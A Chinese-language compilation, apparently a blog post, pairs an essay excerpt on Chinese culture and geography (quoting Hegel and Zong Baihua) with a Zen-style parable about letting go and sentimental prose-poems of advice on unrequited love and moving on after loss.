　　追根溯源，应该说中国文化的内倾性格和反身性姿态，与中国地理环境的特点有着一种发生学关系。其实，鸟瞰中国的版图，不难发现中国的海岸线很长，然而中国文化不属于海洋型文化，而是农耕型文化。为什么会这样呢？黑格尔在《历史哲学》中认为：对于欧洲民族来说，“大海邀请人类从事征服，从事掠夺，但是同时也鼓励人类追求利润，从事商业”。然而，“这种超越土地限制、渡过大海的活动，是亚细亚各国所没有的，就算他们有更多壮丽的政治建筑，就算他们自己也是以海为界———像中国便是一个例子。在他们看来，海只是陆地的中断，陆地的天限；他们和海不发生积极的关系”。美学家宗白华先生在《美学散步》中比较了中西空间意识的不同，指出：“中国人与西洋人同爱无尽空间，但此中有很大的精神意境上的不同。西洋人站在固定地点，由固定角度透视深空，他的视线失落于无穷，驰于无极。他对这无穷空间的态度是追寻的、控制的、冒险的、探索的。近代无线电、飞机都是表现这控制无限空间的欲望。而结果是彷徨不安，欲海难填。中国人对于这无尽空间的态度却是如古诗所说的：‘高山仰止，景行行止，虽不能至，而心向往之’……我们向往无穷的心，须能有所安顿，归返自我，成一回旋的节奏。”

一个苦者找到一个和尚倾诉他的心事。

　　他说：“我放不下一些事，放不下一些人。”
　　
　　和尚说：“没有什么东西是放不下的。” 　
　
　　他说：“这些事和人我就偏偏放不下。”
　　
　　和尚让他拿着一个茶杯，然后就往里面倒热水，一直倒到水溢出来。

苦者被烫到马上松开了手。
　　
　　和尚说：“这个世界上没有什么事是放不下的，痛了，你自然就会放下。”

----------------------------------------------------------------------------------------------------------------------------

　　你可能觉得难过
　　
　　因为无论你对他怎么好 他都不领情
　　
　　他不是看不到 他只是装作看不到
　　
　　或者他根本不想看到
　　
　　你觉得自己很喜欢他
　　
　　甚至觉得再没有一个人可以像你那么喜欢他
　　
　　你用尽全力对他好
　　
　　把他看的比自己还重要
　　
　　有什么事情第一个就想到他
　　
　　联系不到他的时候　你担心他担心的快疯了
　　
　　然而你有没有想过
　　
　　这并不在你的责任范围
　　
　　而且很有可能他是在躲着你
　　
　　他受不了你对他那么好
---------------------------------------------------------------------------------------
 

　　不要一直发短信给他
　　
　　不要一直找他
　　
　　你也许只是想找他说说话
　　
　　你觉得那很正常　不算苛求
　　
　　但是也许他并不这么想
　　
　　记住　你的想法不代表他的想法
　　
　　你是真的不求回报的在喜欢他吗
　　
　　你扪心自问一下
　　
　　你确定不用他回报什么吗
　　
　　那为什么你会难过
　　
　　若是真的一无所求
　　
　　你又怎么会觉得难过呢
　　
　　所以　别觉得你那么爱他是伟大的
　　
　　也许他根本不在乎你怎么为他付出
　　
　　有时候你给他的爱或许是种负担
　　
　　这种负担只会让他更加想远离你
　　
　　因为他不想亏欠你
　　
　　别事事为他担心为他张罗
　　
　　你觉得他没有你不行
　　
　　你觉得别人做不到你那么完善
　　
　　但是你要清楚
　　
　　你不是他要的那个人
　　
　　你做的再完善也敌不过人家不做
　　
　　那个位置本来就不是你的
　　
　　你何必硬要挤上去呢
-------------------------------------------------------------------------
　　
　　
　　你说道理你都懂　只是你做不好
　　
　　喜欢他不是你的错
　　
　　想关心他不是你的错
　　
　　控制不住自己不是你的错
　　
　　但是那是你的方式
　　
　　人家不一定就能接受你这种所谓无私的爱
　　
　　所以如果你喜欢他　他不喜欢你
　　
　　那么就请你默默的
　　
　　别试图让他知道
　　
　　就算你会难过　甚至难过的流泪
　　
　　就请你默默的
　　
　　就算是逼自己也好
　　
　　一定要忍着
----------------------------------------------------------------------------------

傻孩子．
　　
　　忘了吧．所有你留恋的．你回忆的．你拥有过的．
　　
　　那些．都已是记忆．
　　
　　缺失并不可怕．
　　
　　可怕的．是无法面对．
　　
　　
　　傻孩子．
　　
　　你无法轻易忘记 放弃．是因为你付出过．
　　
　　付出了．它就会像柱子一样扎根在心．
　　
　　不要刻意去逃避．刻意忘记．那只会让你更痛苦．
　　
　　绕开这个柱子．寻找未来的幸福生活吧．
　　
　　那里．有你的理想．
　　 　　
　　
　　傻孩子．
　　
　　开始新的习惯吧．
　　
　　习惯．每天一个人生活．
　　
　　习惯．一个人过生日．一个人行走．
　　
　　习惯．走过熟悉的路．面对熟悉的景．
　　
　　你逃不掉．逃不掉的．
　　
　　那么．就勇敢面对．现实．
　　
　　现实是．一切．画上了句点．
　　 　　
　　
　　傻孩子．
　　
　　勇敢看着镜子中的自己吧．
　　
　　这个悲伤软弱满面憔悴的自己．
　　
　　这也是你．成长中的你．
　　
　　这个你．正在逐渐死去．
　　
　　新的你．即将重生．
　　
　　找寻你的路．你的未来．
　　
　　你知道的．所有的浩劫．都是成长的祭奠．
　　
　　做最好的自己．即使．一个人．
　　
　　 　　
　　傻孩子．
　　
　　好．好．尽情发泄吧．
　　
　　剥开自己的心．用文字．用声音．用所有能发泄的方式．
　　
　　泄完了．就要振作．
　　
　　看吧．你失去的．其实微不足道．
　　
　　还有那么多人关心着你．以不同的方式．
　　
　　所以．你并不孤独．
　　
　　正是这样的失去．让你看清现在所拥有的幸福．
　　
　　 　　
　　傻孩子．
　　
　　别哭．别再哭．
　　
　　不值得．真的．不值得了．
　　
　　把过去尘封吧．别委屈．别不甘心．别不接受．
　　
　　开始新的旅程吧．去遇见新的风景．新的际遇．
　　
　　做你该做的事吧．有很多事．等待着你完成呢．

　　
　　傻孩子．
　　
　　生活褪去了曾有的颜色．暂时宁静．
　　
　　别沉沦在这片宁静里．那会毁掉你．
　　
　　你要明白．虽然残忍．但这个决定．足够正确．
　　
　　现在的生活．不是你想要的．
　　
　　为了你的理想．你必须学会适时放弃．
　　
　　给对方最好的关怀．就是．变的更好．更强大．更幸福．
------------------------------------